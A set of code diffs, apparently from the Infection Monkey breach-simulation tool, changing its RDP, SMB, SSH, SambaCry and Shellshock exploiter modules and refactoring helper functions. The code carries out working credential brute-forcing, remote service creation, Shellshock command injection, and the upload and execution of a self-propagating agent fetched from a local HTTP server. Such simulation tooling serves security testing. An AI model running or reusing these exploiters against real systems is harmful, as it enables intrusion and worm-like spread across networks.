LOG.debug("RDP connection to %s:%s closed" % (connector.host, connector.port))
self.success = self._client.success
self.done_event.set()
def clientConnectionFailed(self, connector, reason):
LOG.debug("RDP connection to %s:%s failed, with error: %s" %
(connector.host, connector.port, reason.getErrorMessage()))
self.success = False
self.done_event.set()
class RdpExploiter(HostExploiter):
_TARGET_OS_TYPE = ['windows']
EXPLOIT_TYPE = ExploitType.BRUTE_FORCE
_EXPLOITED_SERVICE = 'RDP'
def __init__(self, host):
super(RdpExploiter, self).__init__(host)
def is_os_supported(self):
if super(RdpExploiter, self).is_os_supported():
return True
if not self.host.os.get('type'):
is_open, _ = check_tcp_port(self.host.ip_addr, RDP_PORT)
if is_open:
self.host.os['type'] = 'windows'
return True
return False
def _exploit_host(self):
global g_reactor
is_open, _ = check_tcp_port(self.host.ip_addr, RDP_PORT)
if not is_open:
LOG.info("RDP port is closed on %r, skipping", self.host)
return False
src_path = get_target_monkey(self.host)
if not src_path:
LOG.info("Can't find suitable monkey executable for host %r", self.host)
return False
# create server for http download.
http_path, http_thread = HTTPTools.create_transfer(self.host, src_path)
if not http_path:
LOG.debug("Exploiter RdpGrinder failed, http transfer creation failed.")
return False
LOG.info("Started http server on %s", http_path)
cmdline = build_monkey_commandline(self.host, get_monkey_depth() - 1)
if self._config.rdp_use_vbs_download:
command = RDP_CMDLINE_HTTP_VBS % {
'monkey_path': self._config.dropper_target_path_win_32,
'http_path': http_path, 'parameters': cmdline}
else:
command = RDP_CMDLINE_HTTP_BITS % {
'monkey_path': self._config.dropper_target_path_win_32,
'http_path': http_path, 'parameters': cmdline}
user_password_pairs = self._config.get_exploit_user_password_pairs()
if not g_reactor.is_alive():
g_reactor.daemon = True
g_reactor.start()
exploited = False
for user, password in user_password_pairs:
try:
# run command using rdp.
LOG.info("Trying RDP logging into victim %r with user %s and password '%s'",
self.host, user, password)
LOG.info("RDP connected to %r", self.host)
user = utf_to_ascii(user)
password = utf_to_ascii(password)
command = utf_to_ascii(command)
client_factory = CMDClientFactory(user, password, "", command)
reactor.callFromThread(reactor.connectTCP, self.host.ip_addr, RDP_PORT, client_factory)
client_factory.done_event.wait()
if client_factory.success:
if not self._config.rdp_use_vbs_download:
T1197Telem(ScanStatus.USED, self.host, BITS_UPLOAD_STRING).send()
self.add_vuln_port(RDP_PORT)
exploited = True
self.report_login_attempt(True, user, password)
break
else:
# failed exploiting with this user/pass
self.report_login_attempt(False, user, password)
except Exception as exc:
LOG.debug("Error logging into victim %r with user"
" %s and password '%s': (%s)", self.host,
user, password, exc)
continue
http_thread.join(DOWNLOAD_TIMEOUT)
http_thread.stop()
if not exploited:
LOG.debug("Exploiter RdpGrinder failed, rdp failed.")
return False
elif http_thread.downloads == 0:
LOG.debug("Exploiter RdpGrinder failed, http download failed.")
return False
LOG.info("Executed monkey '%s' on remote victim %r",
os.path.basename(src_path), self.host)
self.add_executed_cmd(command)
return True

View File

@ -19,8 +19,11 @@ import infection_monkey.monkeyfs as monkeyfs
from infection_monkey.exploit import HostExploiter
from infection_monkey.model import DROPPER_ARG
from infection_monkey.network.smbfinger import SMB_SERVICE
from infection_monkey.exploit.tools import build_monkey_commandline, get_target_monkey_by_os, get_monkey_depth
from infection_monkey.exploit.tools.helpers import build_monkey_commandline, get_target_monkey_by_os, get_monkey_depth
from infection_monkey.exploit.tools.helpers import get_interface_to_target
from infection_monkey.pyinstaller_utils import get_binary_file_path
from common.utils.attack_utils import ScanStatus
from infection_monkey.telemetry.attack.t1105_telem import T1105Telem
__author__ = 'itay.mizeretz'
@ -266,7 +269,10 @@ class SambaCryExploiter(HostExploiter):
with monkeyfs.open(monkey_bin_64_src_path, "rb") as monkey_bin_file:
smb_client.putFile(share, "\\%s" % self.SAMBACRY_MONKEY_FILENAME_64, monkey_bin_file.read)
T1105Telem(ScanStatus.USED,
get_interface_to_target(self.host.ip_addr),
self.host.ip_addr,
monkey_bin_64_src_path).send()
smb_client.disconnectTree(tree_id)
def trigger_module(self, smb_client, share):

View File

@ -6,11 +6,13 @@ from random import choice
import requests
from common.utils.attack_utils import ScanStatus
from infection_monkey.exploit import HostExploiter
from infection_monkey.exploit.tools import get_target_monkey, HTTPTools, get_monkey_depth
from infection_monkey.exploit.tools.helpers import get_target_monkey, get_monkey_depth, build_monkey_commandline
from infection_monkey.model import DROPPER_ARG
from infection_monkey.exploit.shellshock_resources import CGI_FILES
from infection_monkey.exploit.tools import build_monkey_commandline
from infection_monkey.exploit.tools.http_tools import HTTPTools
from infection_monkey.telemetry.attack.t1222_telem import T1222Telem
__author__ = 'danielg'
@ -18,6 +20,7 @@ LOG = logging.getLogger(__name__)
TIMEOUT = 2
TEST_COMMAND = '/bin/uname -a'
DOWNLOAD_TIMEOUT = 300 # copied from rdpgrinder
LOCK_HELPER_FILE = '/tmp/monkey_shellshock'
class ShellShockExploiter(HostExploiter):
@ -106,6 +109,10 @@ class ShellShockExploiter(HostExploiter):
LOG.info("Can't find suitable monkey executable for host %r", self.host)
return False
if not self._create_lock_file(exploit, url, header):
LOG.info("Another monkey is running shellshock exploit")
return True
http_path, http_thread = HTTPTools.create_transfer(self.host, src_path)
if not http_path:
@ -122,6 +129,8 @@ class ShellShockExploiter(HostExploiter):
http_thread.join(DOWNLOAD_TIMEOUT)
http_thread.stop()
self._remove_lock_file(exploit, url, header)
if (http_thread.downloads != 1) or (
'ELF' not in self.check_remote_file_exists(url, header, exploit, dropper_target_path_linux)):
LOG.debug("Exploiter %s failed, http download failed." % self.__class__.__name__)
@ -131,6 +140,7 @@ class ShellShockExploiter(HostExploiter):
chmod = '/bin/chmod +x %s' % dropper_target_path_linux
run_path = exploit + chmod
self.attack_page(url, header, run_path)
T1222Telem(ScanStatus.USED, chmod, self.host).send()
# run the monkey
cmdline = "%s %s" % (dropper_target_path_linux, DROPPER_ARG)
@ -179,6 +189,17 @@ class ShellShockExploiter(HostExploiter):
LOG.debug("URL %s does not seem to be vulnerable with %s header" % (url, header))
return False,
def _create_lock_file(self, exploit, url, header):
if self.check_remote_file_exists(url, header, exploit, LOCK_HELPER_FILE):
return False
cmd = exploit + 'echo AAAA > %s' % LOCK_HELPER_FILE
self.attack_page(url, header, cmd)
return True
def _remove_lock_file(self, exploit, url, header):
cmd = exploit + 'rm %s' % LOCK_HELPER_FILE
self.attack_page(url, header, cmd)
@staticmethod
def attack_page(url, header, attack):
result = ""

View File

@ -4,12 +4,14 @@ from impacket.dcerpc.v5 import transport, scmr
from impacket.smbconnection import SMB_DIALECT
from infection_monkey.exploit import HostExploiter
from infection_monkey.exploit.tools import SmbTools, get_target_monkey, get_monkey_depth
from infection_monkey.exploit.tools.helpers import get_target_monkey, get_monkey_depth, build_monkey_commandline
from infection_monkey.exploit.tools.smb_tools import SmbTools
from infection_monkey.model import MONKEY_CMDLINE_DETACHED_WINDOWS, DROPPER_CMDLINE_DETACHED_WINDOWS
from infection_monkey.network import SMBFinger
from infection_monkey.network.tools import check_tcp_port
from infection_monkey.exploit.tools import build_monkey_commandline
from common.utils.exploit_enum import ExploitType
from infection_monkey.telemetry.attack.t1035_telem import T1035Telem
from common.utils.attack_utils import ScanStatus, UsageEnum
LOG = getLogger(__name__)
@ -66,8 +68,8 @@ class SmbExploiter(HostExploiter):
self._config.smb_download_timeout)
if remote_full_path is not None:
LOG.debug("Successfully logged in %r using SMB (%s : %s : %s : %s)",
self.host, user, password, lm_hash, ntlm_hash)
LOG.debug("Successfully logged in %r using SMB (%s : (SHA-512) %s : %s : %s)",
self.host, user, self._config.hash_sensitive_data(password), lm_hash, ntlm_hash)
self.report_login_attempt(True, user, password, lm_hash, ntlm_hash)
self.add_vuln_port("%s or %s" % (SmbExploiter.KNOWN_PROTOCOLS['139/SMB'][1],
SmbExploiter.KNOWN_PROTOCOLS['445/SMB'][1]))
@ -79,8 +81,8 @@ class SmbExploiter(HostExploiter):
except Exception as exc:
LOG.debug("Exception when trying to copy file using SMB to %r with user:"
" %s, password: '%s', LM hash: %s, NTLM hash: %s: (%s)", self.host,
user, password, lm_hash, ntlm_hash, exc)
" %s, password (SHA-512): '%s', LM hash: %s, NTLM hash: %s: (%s)", self.host,
user, self._config.hash_sensitive_data(password), lm_hash, ntlm_hash, exc)
continue
if not exploited:
@ -129,11 +131,13 @@ class SmbExploiter(HostExploiter):
resp = scmr.hRCreateServiceW(scmr_rpc, sc_handle, self._config.smb_service_name, self._config.smb_service_name,
lpBinaryPathName=cmdline)
service = resp['lpServiceHandle']
try:
scmr.hRStartServiceW(scmr_rpc, service)
status = ScanStatus.USED
except:
status = ScanStatus.SCANNED
pass
T1035Telem(status, UsageEnum.SMB).send()
scmr.hRDeleteService(scmr_rpc, service)
scmr.hRCloseServiceHandle(scmr_rpc, service)

View File

@ -1,16 +1,20 @@
import StringIO
import logging
import time
import paramiko
import io
import infection_monkey.monkeyfs as monkeyfs
from common.utils.exploit_enum import ExploitType
from infection_monkey.exploit import HostExploiter
from infection_monkey.exploit.tools import get_target_monkey, get_monkey_depth
from infection_monkey.exploit.tools.helpers import get_target_monkey, get_monkey_depth, build_monkey_commandline
from infection_monkey.exploit.tools.helpers import get_interface_to_target
from infection_monkey.model import MONKEY_ARG
from infection_monkey.network.tools import check_tcp_port
from infection_monkey.exploit.tools import build_monkey_commandline
from common.utils.exploit_enum import ExploitType
from common.utils.attack_utils import ScanStatus
from infection_monkey.telemetry.attack.t1105_telem import T1105Telem
from infection_monkey.telemetry.attack.t1222_telem import T1222Telem
__author__ = 'hoffer'
@ -41,7 +45,7 @@ class SSHExploiter(HostExploiter):
for user, ssh_key_pair in user_ssh_key_pairs:
# Creating file-like private key for paramiko
pkey = io.StringIO(ssh_key_pair['private_key'])
pkey = StringIO.StringIO(ssh_key_pair['private_key'])
ssh_string = "%s@%s" % (ssh_key_pair['user'], ssh_key_pair['ip'])
try:
pkey = paramiko.RSAKey.from_private_key(pkey)
@ -71,26 +75,26 @@ class SSHExploiter(HostExploiter):
exploited = False
for user, curpass in user_password_pairs:
for user, current_password in user_password_pairs:
try:
ssh.connect(self.host.ip_addr,
username=user,
password=curpass,
password=current_password,
port=port,
timeout=None)
LOG.debug("Successfully logged in %r using SSH (%s : %s)",
self.host, user, curpass)
LOG.debug("Successfully logged in %r using SSH. User: %s, pass (SHA-512): %s)",
self.host, user, self._config.hash_sensitive_data(current_password))
exploited = True
self.add_vuln_port(port)
self.report_login_attempt(True, user, curpass)
self.report_login_attempt(True, user, current_password)
break
except Exception as exc:
LOG.debug("Error logging into victim %r with user"
" %s and password '%s': (%s)", self.host,
user, curpass, exc)
self.report_login_attempt(False, user, curpass)
" %s and password (SHA-512) '%s': (%s)", self.host,
user, self._config.hash_sensitive_data(current_password), exc)
self.report_login_attempt(False, user, current_password)
continue
return exploited
@ -100,7 +104,7 @@ class SSHExploiter(HostExploiter):
port = SSH_PORT
# if ssh banner found on different port, use that port.
for servkey, servdata in list(self.host.services.items()):
for servkey, servdata in self.host.services.items():
if servdata.get('name') == 'ssh' and servkey.startswith('tcp-'):
port = int(servkey.replace('tcp-', ''))
@ -109,7 +113,7 @@ class SSHExploiter(HostExploiter):
LOG.info("SSH port is closed on %r, skipping", self.host)
return False
#Check for possible ssh exploits
# Check for possible ssh exploits
exploited = self.exploit_with_ssh_keys(port, ssh)
if not exploited:
exploited = self.exploit_with_login_creds(port, ssh)
@ -162,10 +166,18 @@ class SSHExploiter(HostExploiter):
ftp.putfo(file_obj, self._config.dropper_target_path_linux, file_size=monkeyfs.getsize(src_path),
callback=self.log_transfer)
ftp.chmod(self._config.dropper_target_path_linux, 0o777)
status = ScanStatus.USED
T1222Telem(ScanStatus.USED, "chmod 0777 %s" % self._config.dropper_target_path_linux, self.host).send()
ftp.close()
except Exception as exc:
LOG.debug("Error uploading file into victim %r: (%s)", self.host, exc)
status = ScanStatus.SCANNED
T1105Telem(status,
get_interface_to_target(self.host.ip_addr),
self.host.ip_addr,
src_path).send()
if status == ScanStatus.SCANNED:
return False
try:

View File

@ -1,536 +0,0 @@
import logging
import ntpath
import os
import os.path
import pprint
import socket
import struct
import sys
import urllib.request, urllib.parse, urllib.error
from impacket.dcerpc.v5 import transport, srvs
from impacket.dcerpc.v5.dcom import wmi
from impacket.dcerpc.v5.dcom.wmi import DCERPCSessionError
from impacket.dcerpc.v5.dcomrt import DCOMConnection
from impacket.dcerpc.v5.dtypes import NULL
from impacket.smb3structs import SMB2_DIALECT_002, SMB2_DIALECT_21
from impacket.smbconnection import SMBConnection, SMB_DIALECT
import infection_monkey.config
import infection_monkey.monkeyfs as monkeyfs
from infection_monkey.network.firewall import app as firewall
from infection_monkey.network.info import get_free_tcp_port, get_routes
from infection_monkey.transport import HTTPServer, LockedHTTPServer
from threading import Lock
class DceRpcException(Exception):
pass
__author__ = 'itamar'
LOG = logging.getLogger(__name__)
class AccessDeniedException(Exception):
def __init__(self, host, username, password, domain):
super(AccessDeniedException, self).__init__("Access is denied to %r with username %s\\%s and password %r" %
(host, domain, username, password))
class WmiTools(object):
class WmiConnection(object):
def __init__(self):
self._dcom = None
self._iWbemServices = None
@property
def connected(self):
return self._dcom is not None
def connect(self, host, username, password, domain=None, lmhash="", nthash=""):
if not domain:
domain = host.ip_addr
dcom = DCOMConnection(host.ip_addr,
username=username,
password=password,
domain=domain,
lmhash=lmhash,
nthash=nthash,
oxidResolver=True)
try:
iInterface = dcom.CoCreateInstanceEx(wmi.CLSID_WbemLevel1Login,
wmi.IID_IWbemLevel1Login)
except Exception as exc:
dcom.disconnect()
if "rpc_s_access_denied" == exc.message:
raise AccessDeniedException(host, username, password, domain)
raise
iWbemLevel1Login = wmi.IWbemLevel1Login(iInterface)
try:
self._iWbemServices = iWbemLevel1Login.NTLMLogin('//./root/cimv2', NULL, NULL)
self._dcom = dcom
except:
dcom.disconnect()
raise
finally:
iWbemLevel1Login.RemRelease()
def close(self):
assert self.connected, "WmiConnection isn't connected"
self._iWbemServices.RemRelease()
self._iWbemServices = None
self._dcom.disconnect()
self._dcom = None
@staticmethod
def dcom_wrap(func):
def _wrapper(*args, **kwarg):
try:
return func(*args, **kwarg)
finally:
WmiTools.dcom_cleanup()
return _wrapper
@staticmethod
def dcom_cleanup():
for port_map in list(DCOMConnection.PORTMAPS.keys()):
del DCOMConnection.PORTMAPS[port_map]
for oid_set in list(DCOMConnection.OID_SET.keys()):
del DCOMConnection.OID_SET[port_map]
DCOMConnection.OID_SET = {}
DCOMConnection.PORTMAPS = {}
if DCOMConnection.PINGTIMER:
DCOMConnection.PINGTIMER.cancel()
DCOMConnection.PINGTIMER.join()
DCOMConnection.PINGTIMER = None
@staticmethod
def get_object(wmi_connection, object_name):
assert isinstance(wmi_connection, WmiTools.WmiConnection)
assert wmi_connection.connected, "WmiConnection isn't connected"
return wmi_connection._iWbemServices.GetObject(object_name)[0]
@staticmethod
def list_object(wmi_connection, object_name, fields=None, where=None):
assert isinstance(wmi_connection, WmiTools.WmiConnection)
assert wmi_connection.connected, "WmiConnection isn't connected"
if fields:
fields_query = ",".join(fields)
else:
fields_query = "*"
wql_query = "SELECT %s FROM %s" % (fields_query, object_name)
if where:
wql_query += " WHERE %s" % (where,)
LOG.debug("Execution WQL query: %r", wql_query)
iEnumWbemClassObject = wmi_connection._iWbemServices.ExecQuery(wql_query)
query = []
try:
while True:
try:
next_item = iEnumWbemClassObject.Next(0xffffffff, 1)[0]
record = next_item.getProperties()
if not fields:
fields = list(record.keys())
query_record = {}
for key in fields:
query_record[key] = record[key]['value']
query.append(query_record)
except DCERPCSessionError as exc:
if 1 == exc.error_code:
break
raise
finally:
iEnumWbemClassObject.RemRelease()
return query
class SmbTools(object):
@staticmethod
def copy_file(host, src_path, dst_path, username, password, lm_hash='', ntlm_hash='', timeout=60):
assert monkeyfs.isfile(src_path), "Source file to copy (%s) is missing" % (src_path,)
config = infection_monkey.config.WormConfiguration
src_file_size = monkeyfs.getsize(src_path)
smb, dialect = SmbTools.new_smb_connection(host, username, password, lm_hash, ntlm_hash, timeout)
if not smb:
return None
# skip guest users
if smb.isGuestSession() > 0:
LOG.debug("Connection to %r granted guest privileges with user: %s, password: '%s',"
" LM hash: %s, NTLM hash: %s",
host, username, password, lm_hash, ntlm_hash)
try:
smb.logoff()
except:
pass
return None
try:
resp = SmbTools.execute_rpc_call(smb, "hNetrServerGetInfo", 102)
except Exception as exc:
LOG.debug("Error requesting server info from %r over SMB: %s",
host, exc)
return None
info = {'major_version': resp['InfoStruct']['ServerInfo102']['sv102_version_major'],
'minor_version': resp['InfoStruct']['ServerInfo102']['sv102_version_minor'],
'server_name': resp['InfoStruct']['ServerInfo102']['sv102_name'].strip("\0 "),
'server_comment': resp['InfoStruct']['ServerInfo102']['sv102_comment'].strip("\0 "),
'server_user_path': resp['InfoStruct']['ServerInfo102']['sv102_userpath'].strip("\0 "),
'simultaneous_users': resp['InfoStruct']['ServerInfo102']['sv102_users']}
LOG.debug("Connected to %r using %s:\n%s",
host, dialect, pprint.pformat(info))
try:
resp = SmbTools.execute_rpc_call(smb, "hNetrShareEnum", 2)
except Exception as exc:
LOG.debug("Error enumerating server shares from %r over SMB: %s",
host, exc)
return None
resp = resp['InfoStruct']['ShareInfo']['Level2']['Buffer']
high_priority_shares = ()
low_priority_shares = ()
file_name = ntpath.split(dst_path)[-1]
for i in range(len(resp)):
share_name = resp[i]['shi2_netname'].strip("\0 ")
share_path = resp[i]['shi2_path'].strip("\0 ")
current_uses = resp[i]['shi2_current_uses']
max_uses = resp[i]['shi2_max_uses']
if current_uses >= max_uses:
LOG.debug("Skipping share '%s' on victim %r because max uses is exceeded",
share_name, host)
continue
elif not share_path:
LOG.debug("Skipping share '%s' on victim %r because share path is invalid",
share_name, host)
continue
share_info = {'share_name': share_name,
'share_path': share_path}
if dst_path.lower().startswith(share_path.lower()):
high_priority_shares += ((ntpath.sep + dst_path[len(share_path):], share_info),)
low_priority_shares += ((ntpath.sep + file_name, share_info),)
shares = high_priority_shares + low_priority_shares
file_uploaded = False
for remote_path, share in shares:
share_name = share['share_name']
share_path = share['share_path']
if not smb:
smb, _ = SmbTools.new_smb_connection(host, username, password, lm_hash, ntlm_hash, timeout)
if not smb:
return None
try:
tid = smb.connectTree(share_name)
except Exception as exc:
LOG.debug("Error connecting tree to share '%s' on victim %r: %s",
share_name, host, exc)
continue
LOG.debug("Trying to copy monkey file to share '%s' [%s + %s] on victim %r",
share_name, share_path, remote_path, host)
remote_full_path = ntpath.join(share_path, remote_path.strip(ntpath.sep))
# check if file is found on destination
if config.skip_exploit_if_file_exist:
try:
file_info = smb.listPath(share_name, remote_path)
if file_info:
if src_file_size == file_info[0].get_filesize():
LOG.debug("Remote monkey file is same as source, skipping copy")
return remote_full_path
LOG.debug("Remote monkey file is found but different, moving along with attack")
except:
pass # file isn't found on remote victim, moving on
try:
with monkeyfs.open(src_path, 'rb') as source_file:
# make sure of the timeout
smb.setTimeout(timeout)
smb.putFile(share_name, remote_path, source_file.read)
file_uploaded = True
LOG.info("Copied monkey file '%s' to remote share '%s' [%s] on victim %r",
src_path, share_name, share_path, host)
break
except Exception as exc:
LOG.debug("Error uploading monkey to share '%s' on victim %r: %s",
share_name, host, exc)
continue
finally:
try:
smb.logoff()
except:
pass
smb = None
if not file_uploaded:
LOG.debug("Couldn't find a writable share for exploiting"
" victim %r with username: %s, password: '%s', LM hash: %s, NTLM hash: %s",
host, username, password, lm_hash, ntlm_hash)
return None
return remote_full_path
@staticmethod
def new_smb_connection(host, username, password, lm_hash='', ntlm_hash='', timeout=60):
try:
smb = SMBConnection(host.ip_addr, host.ip_addr, sess_port=445)
except Exception as exc:
LOG.debug("SMB connection to %r on port 445 failed,"
" trying port 139 (%s)", host, exc)
try:
smb = SMBConnection('*SMBSERVER', host.ip_addr, sess_port=139)
except Exception as exc:
LOG.debug("SMB connection to %r on port 139 failed as well (%s)",
host, exc)
return None, None
dialect = {SMB_DIALECT: "SMBv1",
SMB2_DIALECT_002: "SMBv2.0",
SMB2_DIALECT_21: "SMBv2.1"}.get(smb.getDialect(), "SMBv3.0")
# we know this should work because the WMI connection worked
try:
smb.login(username, password, '', lm_hash, ntlm_hash)
except Exception as exc:
LOG.debug("Error while logging into %r using user: %s, password: '%s', LM hash: %s, NTLM hash: %s: %s",
host, username, password, lm_hash, ntlm_hash, exc)
return None, dialect
smb.setTimeout(timeout)
return smb, dialect
@staticmethod
def execute_rpc_call(smb, rpc_func, *args):
dce = SmbTools.get_dce_bind(smb)
rpc_method_wrapper = getattr(srvs, rpc_func, None)
if not rpc_method_wrapper:
raise ValueError("Cannot find RPC method '%s'" % (rpc_method_wrapper,))
return rpc_method_wrapper(dce, *args)
@staticmethod
def get_dce_bind(smb):
rpctransport = transport.SMBTransport(smb.getRemoteHost(),
smb.getRemoteHost(),
filename=r'\srvsvc',
smb_connection=smb)
dce = rpctransport.get_dce_rpc()
dce.connect()
dce.bind(srvs.MSRPC_UUID_SRVS)
return dce
class HTTPTools(object):
@staticmethod
def create_transfer(host, src_path, local_ip=None, local_port=None):
if not local_port:
local_port = get_free_tcp_port()
if not local_ip:
local_ip = get_interface_to_target(host.ip_addr)
if not firewall.listen_allowed():
return None, None
httpd = HTTPServer(local_ip, local_port, src_path)
httpd.daemon = True
httpd.start()
return "http://%s:%s/%s" % (local_ip, local_port, urllib.parse.quote(os.path.basename(src_path))), httpd
@staticmethod
def create_locked_transfer(host, src_path, local_ip=None, local_port=None):
"""
Create http server for file transfer with a lock
:param host: Variable with target's information
:param src_path: Monkey's path on current system
:param local_ip: IP where to host server
:param local_port: Port at which to host monkey's download
:return: Server address in http://%s:%s/%s format and LockedHTTPServer handler
"""
# To avoid race conditions we pass a locked lock to http servers thread
lock = Lock()
lock.acquire()
if not local_port:
local_port = get_free_tcp_port()
if not local_ip:
local_ip = get_interface_to_target(host.ip_addr)
if not firewall.listen_allowed():
LOG.error("Firewall is not allowed to listen for incomming ports. Aborting")
return None, None
httpd = LockedHTTPServer(local_ip, local_port, src_path, lock)
httpd.start()
lock.acquire()
return "http://%s:%s/%s" % (local_ip, local_port, urllib.parse.quote(os.path.basename(src_path))), httpd
def get_interface_to_target(dst):
if sys.platform == "win32":
s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
try:
s.connect((dst, 1))
ip_to_dst = s.getsockname()[0]
except KeyError:
ip_to_dst = '127.0.0.1'
finally:
s.close()
return ip_to_dst
else:
# based on scapy implementation
def atol(x):
ip = socket.inet_aton(x)
return struct.unpack("!I", ip)[0]
routes = get_routes()
dst = atol(dst)
paths = []
for d, m, gw, i, a in routes:
aa = atol(a)
if aa == dst:
paths.append((0xffffffff, ("lo", a, "0.0.0.0")))
if (dst & m) == (d & m):
paths.append((m, (i, a, gw)))
if not paths:
return None
paths.sort()
ret = paths[-1][1]
return ret[1]
def get_target_monkey(host):
from infection_monkey.control import ControlClient
import platform
import sys
if host.monkey_exe:
return host.monkey_exe
if not host.os.get('type'):
return None
monkey_path = ControlClient.download_monkey_exe(host)
if host.os.get('machine') and monkey_path:
host.monkey_exe = monkey_path
if not monkey_path:
if host.os.get('type') == platform.system().lower():
# if exe not found, and we have the same arch or arch is unknown and we are 32bit, use our exe
if (not host.os.get('machine') and sys.maxsize < 2 ** 32) or \
host.os.get('machine', '').lower() == platform.machine().lower():
monkey_path = sys.executable
return monkey_path
def get_target_monkey_by_os(is_windows, is_32bit):
from infection_monkey.control import ControlClient
return ControlClient.download_monkey_exe_by_os(is_windows, is_32bit)
def build_monkey_commandline_explicitly(parent=None, tunnel=None, server=None, depth=None, location=None):
cmdline = ""
if parent is not None:
cmdline += " -p " + parent
if tunnel is not None:
cmdline += " -t " + tunnel
if server is not None:
cmdline += " -s " + server
if depth is not None:
if depth < 0:
depth = 0
cmdline += " -d %d" % depth
if location is not None:
cmdline += " -l %s" % location
return cmdline
def build_monkey_commandline(target_host, depth, location=None):
from infection_monkey.config import GUID
return build_monkey_commandline_explicitly(
GUID, target_host.default_tunnel, target_host.default_server, depth, location)
def get_monkey_depth():
from infection_monkey.config import WormConfiguration
return WormConfiguration.depth
def get_monkey_dest_path(url_to_monkey):
"""
Gets destination path from monkey's source url.
:param url_to_monkey: Hosted monkey's url. egz : http://localserver:9999/monkey/windows-32.exe
:return: Corresponding monkey path from configuration
"""
from infection_monkey.config import WormConfiguration
if not url_to_monkey or ('linux' not in url_to_monkey and 'windows' not in url_to_monkey):
LOG.error("Can't get destination path because source path %s is invalid.", url_to_monkey)
return False
try:
if 'linux' in url_to_monkey:
return WormConfiguration.dropper_target_path_linux
elif 'windows-32' in url_to_monkey:
return WormConfiguration.dropper_target_path_win_32
elif 'windows-64' in url_to_monkey:
return WormConfiguration.dropper_target_path_win_64
else:
LOG.error("Could not figure out what type of monkey server was trying to upload, "
"thus destination path can not be chosen.")
return False
except AttributeError:
LOG.error("Seems like monkey's source configuration property names changed. "
"Can not get destination path to upload monkey")
return False

View File

@ -0,0 +1,5 @@
class ExploitingVulnerableMachineError(Exception):
""" Raise when exploiter failed, but machine is vulnerable"""
pass

View File

@ -0,0 +1,142 @@
import logging
import socket
import struct
import sys
from infection_monkey.network.info import get_routes
LOG = logging.getLogger(__name__)
def get_interface_to_target(dst):
"""
:param dst: destination IP address string without port. E.G. '192.168.1.1.'
:return: IP address string of an interface that can connect to the target. E.G. '192.168.1.4.'
"""
if sys.platform == "win32":
s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
try:
s.connect((dst, 1))
ip_to_dst = s.getsockname()[0]
except KeyError:
LOG.debug("Couldn't get an interface to the target, presuming that target is localhost.")
ip_to_dst = '127.0.0.1'
finally:
s.close()
return ip_to_dst
else:
# based on scapy implementation
def atol(x):
ip = socket.inet_aton(x)
return struct.unpack("!I", ip)[0]
routes = get_routes()
dst = atol(dst)
paths = []
for d, m, gw, i, a in routes:
aa = atol(a)
if aa == dst:
paths.append((0xffffffff, ("lo", a, "0.0.0.0")))
if (dst & m) == (d & m):
paths.append((m, (i, a, gw)))
if not paths:
return None
paths.sort()
ret = paths[-1][1]
return ret[1]
def try_get_target_monkey(host):
src_path = get_target_monkey(host)
if not src_path:
raise Exception("Can't find suitable monkey executable for host %r", host)
return src_path
def get_target_monkey(host):
from infection_monkey.control import ControlClient
import platform
import sys
if host.monkey_exe:
return host.monkey_exe
if not host.os.get('type'):
return None
monkey_path = ControlClient.download_monkey_exe(host)
if host.os.get('machine') and monkey_path:
host.monkey_exe = monkey_path
if not monkey_path:
if host.os.get('type') == platform.system().lower():
# if exe not found, and we have the same arch or arch is unknown and we are 32bit, use our exe
if (not host.os.get('machine') and sys.maxsize < 2 ** 32) or \
host.os.get('machine', '').lower() == platform.machine().lower():
monkey_path = sys.executable
return monkey_path
def get_target_monkey_by_os(is_windows, is_32bit):
from infection_monkey.control import ControlClient
return ControlClient.download_monkey_exe_by_os(is_windows, is_32bit)
def build_monkey_commandline_explicitly(parent=None, tunnel=None, server=None, depth=None, location=None):
cmdline = ""
if parent is not None:
cmdline += " -p " + parent
if tunnel is not None:
cmdline += " -t " + tunnel
if server is not None:
cmdline += " -s " + server
if depth is not None:
if depth < 0:
depth = 0
cmdline += " -d %d" % depth
if location is not None:
cmdline += " -l %s" % location
return cmdline
def build_monkey_commandline(target_host, depth, location=None):
from infection_monkey.config import GUID
return build_monkey_commandline_explicitly(
GUID, target_host.default_tunnel, target_host.default_server, depth, location)
def get_monkey_depth():
from infection_monkey.config import WormConfiguration
return WormConfiguration.depth
def get_monkey_dest_path(url_to_monkey):
"""
Gets destination path from monkey's source url.
:param url_to_monkey: Hosted monkey's url. egz : http://localserver:9999/monkey/windows-32.exe
:return: Corresponding monkey path from configuration
"""
from infection_monkey.config import WormConfiguration
if not url_to_monkey or ('linux' not in url_to_monkey and 'windows' not in url_to_monkey):
LOG.error("Can't get destination path because source path %s is invalid.", url_to_monkey)
return False
try:
if 'linux' in url_to_monkey:
return WormConfiguration.dropper_target_path_linux
elif 'windows-32' in url_to_monkey:
return WormConfiguration.dropper_target_path_win_32
elif 'windows-64' in url_to_monkey:
return WormConfiguration.dropper_target_path_win_64
else:
LOG.error("Could not figure out what type of monkey server was trying to upload, "
"thus destination path can not be chosen.")
return False
except AttributeError:
LOG.error("Seems like monkey's source configuration property names changed. "
"Can not get destination path to upload monkey")
return False

View File

@ -0,0 +1,90 @@
import logging
import os
import os.path
import urllib
from threading import Lock
from infection_monkey.network.firewall import app as firewall
from infection_monkey.network.info import get_free_tcp_port
from infection_monkey.transport import HTTPServer, LockedHTTPServer
from infection_monkey.exploit.tools.helpers import try_get_target_monkey, get_interface_to_target
from infection_monkey.model import DOWNLOAD_TIMEOUT
__author__ = 'itamar'
LOG = logging.getLogger(__name__)
class HTTPTools(object):
@staticmethod
def create_transfer(host, src_path, local_ip=None, local_port=None):
if not local_port:
local_port = get_free_tcp_port()
if not local_ip:
local_ip = get_interface_to_target(host.ip_addr)
if not firewall.listen_allowed():
return None, None
httpd = HTTPServer(local_ip, local_port, src_path)
httpd.daemon = True
httpd.start()
return "http://%s:%s/%s" % (local_ip, local_port, urllib.quote(os.path.basename(src_path))), httpd
@staticmethod
def try_create_locked_transfer(host, src_path, local_ip=None, local_port=None):
http_path, http_thread = HTTPTools.create_locked_transfer(host, src_path, local_ip, local_port)
if not http_path:
raise Exception("Http transfer creation failed.")
LOG.info("Started http server on %s", http_path)
return http_path, http_thread
@staticmethod
def create_locked_transfer(host, src_path, local_ip=None, local_port=None):
"""
Create http server for file transfer with a lock
:param host: Variable with target's information
:param src_path: Monkey's path on current system
:param local_ip: IP where to host server
:param local_port: Port at which to host monkey's download
:return: Server address in http://%s:%s/%s format and LockedHTTPServer handler
"""
# To avoid race conditions we pass a locked lock to http servers thread
lock = Lock()
lock.acquire()
if not local_port:
